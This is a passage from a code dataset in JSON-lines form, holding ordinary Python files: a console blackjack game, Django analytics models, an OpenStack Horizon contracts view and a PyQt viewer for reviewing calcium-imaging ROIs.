= 0\n count = 2\n pack = init_pack()\n points_player = summarize(points_player, True, count) # сдаем карты игроку\n points_comp = summarize(points_comp, False, count) # сдаём карты компьютеру\n count = 1\n\n while True:\n answer = input('Сдать ещё?(y/n): ')\n if answer == 'y':\n\n points_player = summarize(points_player, True, count) # сдаем карты игроку\n elif answer == 'n':\n # брать ли карты компьютеру\n if points_comp < 14:\n points_comp = summarize(points_comp, False, count)\n elif 14 < points_comp <= 17:\n if random.randint(0, 1) == 1:\n points_comp = summarize(points_comp, False, count)\n elif points_comp > 17:\n pass\n # кто выйграл\n if points_player == 21:\n result(True)\n elif points_player > 21:\n result(False)\n elif points_comp < points_player < 21:\n result(True)\n elif points_player < points_comp < 21:\n result(False)\n\n break\n else:\n print('Ведите y или n')\n","sub_path":"class 6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"610931375","text":"from django.db import models\nfrom datetime import datetime\n\nclass BlockMetricDataRaw(models.Model):\n id = models.AutoField(primary_key=True)\n story_id = models.CharField(max_length=100, db_index=True)\n block_id = models.CharField(max_length=100)\n user_id = models.CharField(max_length=100)\n seconds = models.IntegerField()\n timestamp = models.DateTimeField(auto_now_add=True, db_index=True)\n\n class Meta:\n db_table = 'block_metrics_raw'\n\n def __unicode__(self):\n return u\"\".format(\n self.story_id, self.block_id, self.seconds)\n\n\nclass BlockMetricData(models.Model):\n id = models.AutoField(primary_key=True)\n story_id = models.CharField(max_length=100, db_index=True)\n block_id = models.CharField(max_length=100)\n average_time = models.FloatField()\n total_time = models.IntegerField()\n unique_views = models.IntegerField()\n updated = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n db_table = 'block_metrics'\n unique_together = ((\"story_id\", \"block_id\"),)\n\n def __unicode__(self):\n return u\"\".format(\n self.story_id, self.block_id, self.average_time)\n","sub_path":"block_analytics/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"184668102","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\nimport datetime\nimport json\nimport logging\nimport pytz\nimport six.moves.urllib.parse as urlparse\n\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.utils.html import escape\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom openstack_auth import utils as auth_utils\n\nfrom horizon import exceptions\nfrom horizon import tables\nfrom horizon import tabs\nfrom horizon.utils import memoized\n\nfrom nec_portal.api import ticket as ticket_api\nfrom nec_portal.dashboards.project.contracts \\\n import constants\nfrom nec_portal.dashboards.project.contracts \\\n import tables as contract_table\nfrom nec_portal.dashboards.project.contracts \\\n import tabs as contracts_tabs\nfrom nec_portal.local import nec_portal_settings\n\nLOG = logging.getLogger(__name__)\n\n\nclass ColumnsEscape(object):\n\n \"\"\"Columns Escape class\"\"\"\n def __init__(self, contract_id, parent_contract_id, ticket_template_name,\n application_name, application_date, lifetime_start,\n lifetime_end, expansion_text):\n\n self.contract_id = escape(contract_id)\n self.parent_contract_id = escape(parent_contract_id)\n self.ticket_template_name = _(escape(ticket_template_name)) # noqa\n self.application_name = escape(application_name)\n self.application_date = escape(application_date)\n self.lifetime_start = escape(lifetime_start)\n self.lifetime_end = escape(lifetime_end)\n self.expansion_text = expansion_text\n\n\nclass IndexView(tables.DataTableView):\n \"\"\"Index view class\"\"\"\n table_class = contract_table.ContractTable\n template_name = constants.CONTRACTS_INDEX_VIEW_TEMPLATE\n page_title = _(\"Contracts\")\n\n def has_prev_data(self, table):\n return self._prev\n\n def has_more_data(self, table):\n return self._more\n\n def get_data(self):\n contracts = []\n\n search_filters = self.get_filters()\n\n prev_marker = self.request.GET.get(\n contract_table.ContractTable._meta.prev_pagination_param, None)\n\n if prev_marker is not None:\n sort_dir = 'asc,asc'\n marker = prev_marker\n else:\n sort_dir = 'desc,desc'\n marker = self.request.GET.get(\n contract_table.ContractTable._meta.pagination_param, None)\n\n try:\n contract_list, self._more, self._prev = \\\n ticket_api.contract_list_detailed(self.request,\n marker=marker,\n paginate=True,\n filters=search_filters,\n sort_dir=sort_dir)\n\n if prev_marker is not None:\n contract_list = sorted(contract_list,\n key=lambda contract:\n getattr(contract, 'lifetime_start'),\n reverse=True)\n\n for contract_row in contract_list:\n\n parent_contract_id = contract_row.parent_contract_id\n ticket_template_name = contract_row.ticket_template_name\n application_name = contract_row.application_name\n application_date = None\n lifetime_start = None\n lifetime_end = None\n if contract_row.application_date is not None:\n application_date = datetime.datetime.strptime(\n contract_row.application_date,\n '%Y-%m-%dT%H:%M:%S.%f').strftime(\"%Y-%m-%d %H:%M:%S\")\n if contract_row.lifetime_start is not None:\n lifetime_start = datetime.datetime.strptime(\n contract_row.lifetime_start,\n '%Y-%m-%dT%H:%M:%S.%f').strftime(\"%Y-%m-%d %H:%M:%S\")\n if contract_row.lifetime_end is not None:\n lifetime_end = datetime.datetime.strptime(\n contract_row.lifetime_end,\n '%Y-%m-%dT%H:%M:%S.%f').strftime(\"%Y-%m-%d %H:%M:%S\")\n expansion_text = contract_row.expansions_text['expansion_text']\n\n columns = ColumnsEscape(contract_row.contract_id,\n parent_contract_id,\n ticket_template_name,\n application_name,\n application_date,\n lifetime_start,\n lifetime_end,\n expansion_text)\n\n contracts.append(columns)\n\n except Exception:\n self._prev = False\n self._more = False\n\n exceptions.handle(self.request,\n _('Unable to retrieve contracts information.'))\n\n return contracts\n\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n context['region_list'] = []\n\n roles = self._get_user_roles()\n region_list = self._get_region_links()\n\n for region in region_list:\n role_list = region.get('role', None)\n if not role_list:\n context['region_list'].append(self._create_link(region))\n continue\n\n for role_select in role_list:\n if role_select in roles:\n context['region_list'].append(self._create_link(region))\n break\n\n return context\n\n def _get_region_links(self):\n return getattr(nec_portal_settings, 'REGION_CONTRACTS_LINKS', [])\n\n def _get_user_roles(self):\n user = auth_utils.get_user(self.request)\n return [role['name'] for role in user.roles]\n\n def _create_link(self, link):\n _url = link.get('root_url', '')\n\n return {\n 'name': link.get('name', ''),\n 'url': urlparse.urljoin(_url, constants.CONTRACTS_REGION_URL)\n }\n\n def get_filters(self):\n filters = {'project_id': self.request.user.project_id}\n filter_field = self.table.get_filter_field()\n filter_string = self.table.get_filter_string().strip()\n if filter_field and filter_string:\n\n try:\n if filter_field in ['ticket_template_name']:\n filters[filter_field] = _(filter_string) # noqa\n elif filter_field in ['parent_contract_id']:\n filters[filter_field] = filter_string\n elif filter_field in ['application_name']:\n filters[filter_field] = filter_string\n elif filter_field in ['application_date']:\n if self._is_date(filter_field, filter_string):\n tzinfo = self.request.session.\\\n get('django_timezone',\n self.request.COOKIES.get('django_timezone',\n 'UTC'))\n filters['application_date_from'] = \\\n self._get_datetime_from(filter_string, tzinfo)\n filters['application_date_to'] = \\\n self._get_datetime_to(filter_string, tzinfo)\n elif filter_field in ['lifetime_start']:\n if self._is_date(filter_field, filter_string):\n tzinfo = self.request.session.\\\n get('django_timezone',\n self.request.COOKIES.get('django_timezone',\n 'UTC'))\n filters['lifetime_start_from'] = \\\n self._get_datetime_from(filter_string, tzinfo)\n filters['lifetime_start_to'] = \\\n self._get_datetime_to(filter_string, tzinfo)\n elif filter_field in ['lifetime_end']:\n if self._is_date(filter_field, filter_string):\n tzinfo = self.request.session.\\\n get('django_timezone',\n self.request.COOKIES.get('django_timezone',\n 'UTC'))\n filters['lifetime_end_from'] = \\\n self._get_datetime_from(filter_string, tzinfo)\n filters['lifetime_end_to'] = \\\n self._get_datetime_to(filter_string, tzinfo)\n elif filter_field in ['lifetime']:\n if self._is_date(filter_field, filter_string):\n filters['date_in_lifetime'] = filter_string\n else:\n filters[filter_field] = filter_string\n except Exception:\n msg = \\\n ('An error occurred when creating filters: %s=%s'\n % (filter_field, filter_string))\n exceptions.handle(self.request, msg)\n\n return filters\n\n def _is_date(self, filter_field, dt):\n try:\n datetime.datetime.strptime(dt, \"%Y-%m-%d\")\n except Exception:\n invalid_msg = ('API query is not valid and is ignored: %s=%s'\n % (filter_field, dt))\n LOG.warning(invalid_msg)\n return False\n\n return True\n\n def _get_datetime_from(self, dt, tzinfo):\n zone = pytz.timezone(tzinfo)\n from_date = datetime.datetime.strptime(dt, \"%Y-%m-%d\")\n\n local_dt = zone.localize(from_date, is_dst=None)\n utc_dt = local_dt.astimezone(pytz.utc)\n\n return utc_dt.strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n\n def _get_datetime_to(self, dt, tzinfo):\n zone = pytz.timezone(tzinfo)\n to_date = datetime.datetime.strptime(dt, \"%Y-%m-%d\")\n\n local_dt = zone.localize(to_date, is_dst=None)\n local_dt = local_dt + datetime.timedelta(days=1)\n local_dt = local_dt - datetime.timedelta(microseconds=1)\n\n utc_dt = local_dt.astimezone(pytz.utc)\n\n return utc_dt.strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n\n\nclass DetailView(tabs.TabView):\n tab_group_class = contracts_tabs.ContractsDetailTabs\n template_name = constants.CONTRACTS_DETAIL_VIEW_TEMPLATE\n page_title = None\n contract = None\n\n def get_context_data(self, **kwargs):\n context = super(DetailView, self).get_context_data(**kwargs)\n self.contract = self.get_data()\n context[\"contract\"] = self.contract\n context[\"action_url\"] = self.get_redirect_url()\n self.page_title = self.contract.application_kinds_name\n\n return context\n\n def get_redirect_url(self):\n expansion_text = json.loads(\n self.contract.expansions_text['expansion_text'])\n cancel_info = expansion_text['ticket_info']['cancelling_template']\n url = 'horizon:project:contracts:wf_engine_create:index'\n\n return reverse_lazy(\n url, args=[cancel_info['id'], self.kwargs['id']])\n\n @memoized.memoized_method\n def get_data(self):\n try:\n contract_data = ticket_api.contract_get_detailed(\n self.request,\n self.kwargs['id'])\n\n ticket_template_name = contract_data.ticket_template_name\n application_kinds_name = contract_data.application_kinds_name\n contract_data.ticket_template_name = \\\n _(ticket_template_name) # noqa\n contract_data.application_kinds_name = \\\n _(application_kinds_name) # noqa\n\n except Exception:\n exceptions.handle(self.request,\n _('Unable to retrieve contracts details.'),\n redirect=self.get_redirect_url())\n\n return contract_data\n\n def get_tabs(self, request, *args, **kwargs):\n contract = self.get_data()\n return self.tab_group_class(request, contract=contract, **kwargs)\n","sub_path":"nec_portal/dashboards/project/contracts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"642942088","text":"import os\nimport numpy as np\nimport cv2\nimport pyqtgraph as pg\nfrom matplotlib import cm\nimport scipy\n\nimport utilities\n\n# import the Qt library\ntry:\n from PyQt4.QtCore import *\n from PyQt4.QtGui import *\n pyqt_version = 4\nexcept:\n from PyQt5.QtCore import *\n from PyQt5.QtGui import *\n from PyQt5.QtWidgets import *\n pyqt_version = 5\n\nroi_colors = [ np.random.permutation((np.random.uniform(120, 200), np.random.uniform(50, 200), np.random.uniform(50, 200))) for i in range(10000) ]\ncolormaps = [\"inferno\", \"plasma\", \"viridis\", \"magma\", \"Reds\", \"Greens\", \"Blues\", \"Greys\", \"gray\", \"hot\"]\n\nclass PreviewWindow(QMainWindow):\n def __init__(self, controller):\n QMainWindow.__init__(self)\n\n # set controller\n self.controller = controller\n\n # get parameter window position & size\n param_window_x = self.controller.param_window.x()\n param_window_y = self.controller.param_window.y()\n param_window_width = self.controller.param_window.width()\n\n # set position & size\n self.setGeometry(param_window_x + param_window_width + 32, param_window_y + 32, 10, 10)\n\n # create main widget\n self.main_widget = QWidget(self)\n self.main_widget.setMinimumSize(QSize(800, 700))\n\n # create main layout\n self.main_layout = QVBoxLayout(self.main_widget)\n self.main_layout.setContentsMargins(0, 0, 0, 0)\n self.main_layout.setSpacing(0)\n\n self.image_widget = QWidget(self)\n self.image_layout = QHBoxLayout(self.image_widget)\n self.image_layout.setContentsMargins(0, 0, 0, 0)\n \n bg_color = (20, 20, 20)\n palette = QPalette()\n palette.setColor(QPalette.Background, QColor(20, 20, 20, 255))\n self.main_widget.setAutoFillBackground(True)\n self.main_widget.setPalette(palette)\n # self.main_widget.setStyleSheet(\"background-color: rgba({}, {}, {}, 1);\".format(bg_color[0], bg_color[1], bg_color[2]))\n pg.setConfigOption('background', bg_color)\n if bg_color[0] < 100:\n pg.setConfigOption('foreground', (150, 150, 150))\n else:\n pg.setConfigOption('foreground', (20, 20, 20))\n self.image_plot = pg.GraphicsLayoutWidget()\n self.viewbox1 = self.image_plot.addViewBox(lockAspect=True,name='left_plot',border=None, row=0,col=0, invertY=True)\n self.viewbox2 = self.image_plot.addViewBox(lockAspect=True,name='right_plot',border=None, row=0,col=1, invertY=True)\n self.viewbox1.setLimits(minXRange=10, minYRange=10, maxXRange=2000, maxYRange=2000)\n self.viewbox3 = self.image_plot.addPlot(name='trace_plot', row=1,col=0,colspan=2)\n \n self.viewbox3.setLabel('bottom', \"Frame #\")\n self.viewbox3.showButtons()\n self.viewbox3.setMouseEnabled(x=True,y=False)\n if self.controller.show_zscore:\n self.viewbox3.setYRange(-2, 3)\n self.viewbox3.setLabel('left', \"Z-Score\")\n else:\n self.viewbox3.setYRange(0, 1)\n self.viewbox3.setLabel('left', \"Fluorescence\")\n self.viewbox4 = self.image_plot.addPlot(name='heatmap_plot', row=2,col=0, colspan=2)\n self.viewbox4.setLabel('left', \"ROI #\")\n self.viewbox4.setMouseEnabled(x=True,y=False)\n self.viewbox4.setLabel('bottom', \"Frame #\")\n\n self.viewbox6 = self.image_plot.addPlot(name='tail_angle_plot', row=4,col=0,colspan=2)\n self.viewbox6.setLabel('left', \"Tail Angle (º)\")\n self.viewbox6.setLabel('bottom', \"Frame #\")\n self.viewbox6.setMouseEnabled(x=True,y=False)\n self.heatmap_plot = pg.ImageItem()\n self.viewbox4.addItem(self.heatmap_plot)\n self.image_plot.ci.layout.setRowStretchFactor(0,2)\n self.left_plot = pg.ImageItem()\n self.right_plot = pg.ImageItem()\n self.viewbox1.addItem(self.left_plot)\n self.viewbox2.addItem(self.right_plot)\n self.viewbox1.setBackgroundColor(bg_color)\n self.viewbox2.setBackgroundColor(bg_color)\n self.viewbox2.setXLink('left_plot')\n self.viewbox2.setYLink('left_plot')\n self.viewbox4.setXLink('trace_plot')\n self.viewbox6.setXLink('trace_plot')\n colormap = cm.get_cmap(\"inferno\")\n colormap._init()\n lut = (colormap._lut * 255).view(np.ndarray)\n self.heatmap_plot.setLookupTable(lut)\n self.image_plot.setSizePolicy(QSizePolicy.MinimumExpanding, QSizePolicy.MinimumExpanding)\n self.image_plot.setAlignment(Qt.AlignTop | Qt.AlignLeft)\n self.image_layout.addWidget(self.image_plot)\n self.main_layout.addWidget(self.image_widget)\n self.image_plot.scene().sigMouseClicked.connect(self.plot_clicked)\n self.viewbox1.setMenuEnabled(False)\n self.viewbox2.setMenuEnabled(False)\n self.image_plot.ci.layout.setRowStretchFactor(0, 8)\n self.image_plot.ci.layout.setRowStretchFactor(1, 2)\n self.image_plot.ci.layout.setRowStretchFactor(2, 2)\n self.image_plot.ci.layout.setRowStretchFactor(3, 2)\n self.image_plot.ci.layout.setRowStretchFactor(4, 2)\n\n # self.main_layout.addStretch()\n\n self.bottom_widget = QWidget()\n self.bottom_layout = QHBoxLayout(self.bottom_widget)\n # self.bottom_widget.setMinimumSize(800, 32)\n self.main_layout.addWidget(self.bottom_widget)\n\n self.show_rois_checkbox = QCheckBox(\"Show ROIs\")\n self.show_rois_checkbox.setObjectName(\"Show ROIs\")\n self.show_rois_checkbox.setStyleSheet(\"color: rgba(150, 150, 150, 1);\")\n self.show_rois_checkbox.setChecked(False)\n self.show_rois_checkbox.setEnabled(False)\n self.show_rois_checkbox.clicked.connect(self.toggle_show_rois)\n self.bottom_layout.addWidget(self.show_rois_checkbox)\n\n label = QLabel(\"Frame Offset:\")\n label.setStyleSheet(\"color: rgba(150, 150, 150, 1);\")\n self.bottom_layout.addWidget(label)\n\n self.frame_offset_textbox = QLineEdit(\"Frame Offset\")\n self.frame_offset_textbox.setObjectName(\"Frame Offset\")\n self.frame_offset_textbox.setText(\"0\")\n self.frame_offset_textbox.editingFinished.connect(lambda:self.update_frame_offset())\n self.bottom_layout.addWidget(self.frame_offset_textbox)\n\n self.bottom_layout.addStretch()\n\n label = QLabel(\"Colormap:\")\n label.setStyleSheet(\"color: rgba(150, 150, 150, 1);\")\n self.bottom_layout.addWidget(label)\n\n combobox = QComboBox()\n combobox.addItems([ colormap.title() for colormap in colormaps ])\n combobox.currentIndexChanged.connect(self.change_colormap)\n self.bottom_layout.addWidget(combobox)\n\n # set main widget\n self.setCentralWidget(self.main_widget)\n\n # set window buttons\n if pyqt_version == 5:\n self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint | Qt.WindowFullscreenButtonHint)\n else:\n self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint)\n\n # create a timer for updating the frames\n self.timer = QTimer(self)\n self.timer.timeout.connect(self.update_frame)\n \n self.set_initial_state()\n\n self.show()\n\n def set_initial_state(self):\n self.kept_rois_overlay = None\n self.discarded_rois_overlay = None\n self.kept_rois_image = None\n self.discarded_rois_image = None\n self.roi_overlays = None\n self.roi_contours = []\n self.text_items = []\n self.outline_items = []\n self.mask_items = []\n self.temp_mask_item = None\n self.image = None # image to show\n self.frames = None # frames to play\n self.frame_num = 0 # current frame #\n self.n_frames = 1 # total number of frames\n self.video_name = \"\" # name of the currently showing video\n self.mask_points = []\n self.mask = None\n self.frame_offset = 0\n self.heatmap = None\n self.selected_rois = []\n self.roi_temporal_footprints = None\n\n self.show_rois_checkbox.setEnabled(False)\n self.image_plot.hide()\n self.bottom_widget.hide()\n self.timer.stop()\n self.setWindowTitle(\"Preview\")\n\n def update_frame_offset(self):\n try:\n self.frame_offset = int(float(self.frame_offset_textbox.text()))\n\n if self.heatmap is not None:\n self.heatmap_plot.setRect(QRectF(self.frame_offset + self.controller.z/self.controller.video.shape[1], 0, self.heatmap.shape[0], self.heatmap.shape[1]))\n\n if self.roi_temporal_footprints is not None:\n self.plot_traces(self.roi_temporal_footprints, self.selected_rois)\n except:\n pass\n\n def toggle_show_rois(self):\n show_rois = self.show_rois_checkbox.isChecked()\n\n self.set_show_rois(show_rois)\n\n def set_show_rois(self, show_rois):\n print(\"Setting show ROIs to {}.\".format(show_rois))\n self.controller.set_show_rois(show_rois)\n\n def show_plot(self):\n self.image_plot.show()\n self.bottom_widget.show()\n\n def hide_plot(self):\n self.image_plot.hide()\n self.bottom_widget.hide()\n\n def change_colormap(self, i):\n colormap_name = colormaps[i]\n\n colormap = cm.get_cmap(colormap_name)\n colormap._init()\n lut = (colormap._lut * 255).view(np.ndarray)\n self.heatmap_plot.setLookupTable(lut)\n\n def plot_tail_angles(self, tail_angles, tail_data_fps, imaging_fps):\n self.viewbox6.clear()\n\n imaging_fps_one_plane = imaging_fps\n\n if tail_angles is not None:\n one_frame = (1.0/imaging_fps_one_plane)*tail_data_fps\n total_frames = int(np.floor(one_frame*self.controller.video.shape[0] + self.frame_offset + 1))\n\n print(tail_angles.shape)\n print(total_frames)\n\n if total_frames < tail_angles.shape[0]:\n x = np.linspace(0, self.controller.video.shape[0]+self.frame_offset+1, total_frames)\n self.viewbox6.plot(x, tail_angles[:total_frames, -1], pen=pg.mkPen((255, 255, 0), width=2))\n\n return True\n else:\n return False\n else:\n return False\n\n def plot_traces(self, roi_temporal_footprints, selected_rois=[]):\n self.viewbox3.clear()\n self.selected_rois = selected_rois\n self.roi_temporal_footprints = roi_temporal_footprints\n if roi_temporal_footprints is not None and len(selected_rois) > 0:\n if self.controller.show_zscore:\n max_value = 1\n else:\n max_value = np.amax(roi_temporal_footprints)\n\n x = np.arange(roi_temporal_footprints.shape[1]) + self.controller.z/self.controller.video.shape[1] + self.frame_offset\n for i in range(len(selected_rois)):\n roi = selected_rois[i]\n\n self.viewbox3.plot(x, roi_temporal_footprints[roi]/max_value, pen=pg.mkPen((roi_colors[roi][0], roi_colors[roi][1], roi_colors[roi][2]), width=2))\n\n def clear_text_and_outline_items(self):\n # remove all text and outline items from left and right plots\n for text_item in self.text_items:\n self.viewbox1.removeItem(text_item)\n self.viewbox2.removeItem(text_item)\n self.text_items = []\n for outline_item in self.outline_items:\n self.viewbox1.removeItem(outline_item)\n self.viewbox2.removeItem(outline_item)\n self.outline_items = []\n\n def clear_mask_items(self):\n for mask_item in self.mask_items:\n self.viewbox1.removeItem(mask_item)\n self.mask_items = []\n\n if self.temp_mask_item is not None:\n self.viewbox1.removeItem(self.temp_mask_item)\n self.temp_mask_item = None\n self.mask_points = []\n\n def plot_clicked(self, event):\n if self.controller.mode not in (\"loading\", \"motion_correcting\"):\n # get x-y coordinates of where the user clicked\n items = self.image_plot.scene().items(event.scenePos())\n if self.left_plot in items:\n pos = self.viewbox1.mapSceneToView(event.scenePos())\n elif self.right_plot in items:\n pos = self.viewbox2.mapSceneToView(event.scenePos())\n else:\n return\n x = pos.x()\n y = pos.y()\n\n # check whether the user is holding Ctrl\n ctrl_held = event.modifiers() == Qt.ControlModifier\n\n # remove all text and outline items from left and right plots\n self.clear_text_and_outline_items()\n\n if event.button() == 1:\n # left click means selecting ROIs\n if not self.controller.drawing_mask:\n self.controller.select_roi((int(y), int(x)), ctrl_held=ctrl_held)\n\n # don't allow selecting removed & kept ROIs at the same time\n removed_count = 0\n for i in self.controller.selected_rois:\n if i in self.controller.removed_rois():\n removed_count += 1\n if removed_count !=0 and removed_count != len(self.controller.selected_rois):\n self.controller.selected_rois = [self.controller.selected_rois[-1]]\n\n if len(self.controller.selected_rois) > 0:\n if self.controller.selected_rois[-1] in self.controller.removed_rois() and self.left_plot in items:\n self.controller.selected_rois = []\n elif self.controller.selected_rois[-1] not in self.controller.removed_rois() and self.right_plot in items:\n self.controller.selected_rois = []\n\n if len(self.controller.selected_rois) > 0:\n roi_to_select = self.controller.selected_rois[0]\n\n if self.left_plot in items:\n image = self.kept_rois_image.copy()\n contours = []\n for i in self.controller.selected_rois:\n contours += self.roi_contours[i]\n x = np.amax([ np.amax(self.roi_contours[i][j][:, 0, 0]) for j in range(len(self.roi_contours[i])) ])\n y = np.amax([ np.amax(self.roi_contours[i][j][:, 0, 1]) for j in range(len(self.roi_contours[i])) ])\n text_item = pg.TextItem(\"{}\".format(i), color=roi_colors[i])\n text_item.setPos(QPoint(int(y), int(x)))\n self.text_items.append(text_item)\n self.viewbox1.addItem(text_item)\n for j in range(len(self.roi_contours[i])):\n outline_item = pg.PlotDataItem(np.concatenate([self.roi_contours[i][j][:, 0, 1], np.array([self.roi_contours[i][j][0, 0, 1]])]), np.concatenate([self.roi_contours[i][j][:, 0, 0], np.array([self.roi_contours[i][j][0, 0, 0]])]), pen=pg.mkPen((roi_colors[i][0], roi_colors[i][1], roi_colors[i][2]), width=3))\n self.outline_items.append(outline_item)\n self.viewbox1.addItem(outline_item)\n\n self.left_plot.setImage(image, autoLevels=False)\n self.right_plot.setImage(self.discarded_rois_image, autoLevels=False)\n else:\n image = self.discarded_rois_image.copy()\n contours = []\n for i in self.controller.selected_rois:\n contours += self.roi_contours[i]\n # print([ self.roi_contours[i][j].shape for j in range(len(self.roi_contours[i])) ])\n x = np.amax([ np.amax(self.roi_contours[i][j][:, 0, 0]) for j in range(len(self.roi_contours[i])) ])\n y = np.amax([ np.amax(self.roi_contours[i][j][:, 0, 1]) for j in range(len(self.roi_contours[i])) ])\n text_item = pg.TextItem(\"{}\".format(i), color=roi_colors[i])\n text_item.setPos(QPoint(int(y), int(x)))\n self.text_items.append(text_item)\n self.viewbox2.addItem(text_item)\n for j in range(len(self.roi_contours[i])):\n outline_item = pg.PlotDataItem(np.concatenate([self.roi_contours[i][j][:, 0, 1], np.array([self.roi_contours[i][j][0, 0, 1]])]), np.concatenate([self.roi_contours[i][j][:, 0, 0], np.array([self.roi_contours[i][j][0, 0, 0]])]), pen=pg.mkPen((roi_colors[i][0], roi_colors[i][1], roi_colors[i][2]), width=3))\n self.outline_items.append(outline_item)\n self.viewbox2.addItem(outline_item)\n\n self.right_plot.setImage(image, autoLevels=False)\n self.left_plot.setImage(self.kept_rois_image, autoLevels=False)\n else:\n self.left_plot.setImage(self.kept_rois_image, autoLevels=False)\n self.right_plot.setImage(self.discarded_rois_image, autoLevels=False)\n elif self.left_plot in items:\n if ctrl_held:\n # add mask point\n self.mask_points.append([x, y])\n\n if self.temp_mask_item is not None:\n self.viewbox1.removeItem(self.temp_mask_item)\n\n self.temp_mask_item = self.create_mask_item(self.mask_points, temporary=True)\n self.viewbox1.addItem(self.temp_mask_item)\n else:\n # determine which mask was clicked, if any\n mask_num = -1\n\n if self.controller.mask_images is not None:\n for i in range(len(self.controller.mask_images[self.controller.z])):\n mask = self.controller.mask_images[self.controller.z][i]\n\n if mask[int(y), int(x)] > 0:\n mask_num = i\n\n print(mask_num)\n\n if mask_num == -1 and len(self.mask_points) >= 3:\n self.controller.create_mask(self.mask_points)\n\n self.mask_points = []\n\n self.update_mask_items(selected_mask=mask_num)\n\n elif event.button() == 2:\n if not self.controller.drawing_mask:\n if self.left_plot in items:\n selected_roi = utilities.get_roi_containing_point(self.controller.roi_spatial_footprints(), (int(y), int(x)), self.controller.selected_video_mean_image().shape)\n\n if selected_roi is not None:\n if selected_roi not in self.controller.selected_rois:\n self.controller.selected_rois.append(selected_roi)\n\n print(\"ROIs selected: {}.\".format(self.controller.selected_rois))\n\n self.controller.discard_selected_rois()\n else:\n selected_roi = utilities.get_roi_containing_point(self.controller.roi_spatial_footprints(), (int(y), int(x)), self.controller.selected_video_mean_image().shape)\n\n if selected_roi is not None:\n if selected_roi not in self.controller.selected_rois:\n self.controller.selected_rois.append(selected_roi)\n\n print(\"ROIs selected: {}.\".format(self.controller.selected_rois))\n\n self.controller.keep_selected_rois()\n else:\n # if not ctrl_held:\n # if len(self.mask_points) >= 3:\n # self.controller.create_mask(self.mask_points)\n\n # self.update_mask_items(selected_mask=len(self.controller.mask_points())-1)\n\n # self.mask_points = []\n if not ctrl_held:\n # determine which mask was clicked, if any\n mask_num = -1\n\n for i in range(len(self.controller.mask_images[self.controller.z])):\n mask = self.controller.mask_images[self.controller.z][i]\n\n if mask[int(y), int(x)] > 0:\n mask_num = i\n\n if mask_num >= 0:\n # delete this mask\n self.controller.delete_mask(mask_num)\n\n self.update_mask_items()\n\n self.controller.update_trace_plot()\n\n def create_mask_item(self, mask_points, temporary=False, selected=False):\n if temporary:\n return pg.PlotDataItem([ p[0] for p in mask_points ] + [mask_points[0][0]], [ p[1] for p in mask_points ] + [mask_points[0][1]], symbolSize=5, pen=pg.mkPen((255, 255, 255)), symbolPen=pg.mkPen((255, 255, 255)))\n elif selected:\n return pg.PlotDataItem([ p[0] for p in mask_points ] + [mask_points[0][0]], [ p[1] for p in mask_points ] + [mask_points[0][1]], symbolSize=5, pen=pg.mkPen((0, 255, 0)), symbolPen=pg.mkPen((0, 255, 0)))\n return pg.PlotDataItem([ p[0] for p in mask_points ] + [mask_points[0][0]], [ p[1] for p in mask_points ] + [mask_points[0][1]], symbolSize=5, pen=pg.mkPen((255, 255, 0)), symbolPen=pg.mkPen((255, 255, 0)))\n\n def plot_image(self, image, video_max=255, show_rois=False, update_overlay=True, recreate_overlays=False, recreate_roi_images=True):\n if update_overlay or recreate_overlays or recreate_roi_images:\n roi_spatial_footprints = self.controller.roi_spatial_footprints()\n if roi_spatial_footprints is not None:\n roi_spatial_footprints = roi_spatial_footprints.toarray().reshape((self.controller.video.shape[2], self.controller.video.shape[3], roi_spatial_footprints.shape[-1])).transpose((1, 0, 2))\n\n if update_overlay and roi_spatial_footprints is not None:\n recreate_overlays = True\n recreate_roi_images = True\n self.compute_contours_and_overlays(image.shape, roi_spatial_footprints)\n\n if recreate_overlays:\n recreate_roi_images = True\n removed_rois = self.controller.removed_rois()\n\n self.compute_kept_rois_overlay(roi_spatial_footprints, removed_rois)\n self.compute_discarded_rois_overlay(roi_spatial_footprints, removed_rois)\n\n if image is None:\n self.hide_plot()\n else:\n self.show_plot()\n\n # update image\n self.image = image\n\n # update image plot\n if recreate_roi_images:\n print(\"Recreating ROI images.\")\n self.update_left_image_plot(self.image, roi_spatial_footprints=roi_spatial_footprints, video_dimensions=self.controller.video.shape, removed_rois=self.controller.removed_rois(), selected_rois=self.controller.selected_rois, show_rois=show_rois)\n self.update_right_image_plot(self.image, roi_spatial_footprints=roi_spatial_footprints, video_dimensions=self.controller.video.shape, removed_rois=self.controller.removed_rois(), selected_rois=self.controller.selected_rois, show_rois=show_rois)\n else:\n if not show_rois:\n image = 255.0*self.image/self.controller.video_max\n image[image > 255] = 255\n\n if len(image.shape) < 3:\n image = cv2.cvtColor(image.astype(np.uint8), cv2.COLOR_GRAY2RGB)\n else:\n image = image.astype(np.uint8)\n\n self.left_plot.setImage(image, autoLevels=False)\n self.right_plot.setImage(image, autoLevels=False)\n else:\n self.left_plot.setImage(self.kept_rois_image, autoLevels=False)\n self.right_plot.setImage(self.discarded_rois_image, autoLevels=False)\n\n def play_video(self, video, video_path, fps):\n self.video_name = os.path.basename(video_path)\n \n self.show_plot()\n\n # set frame 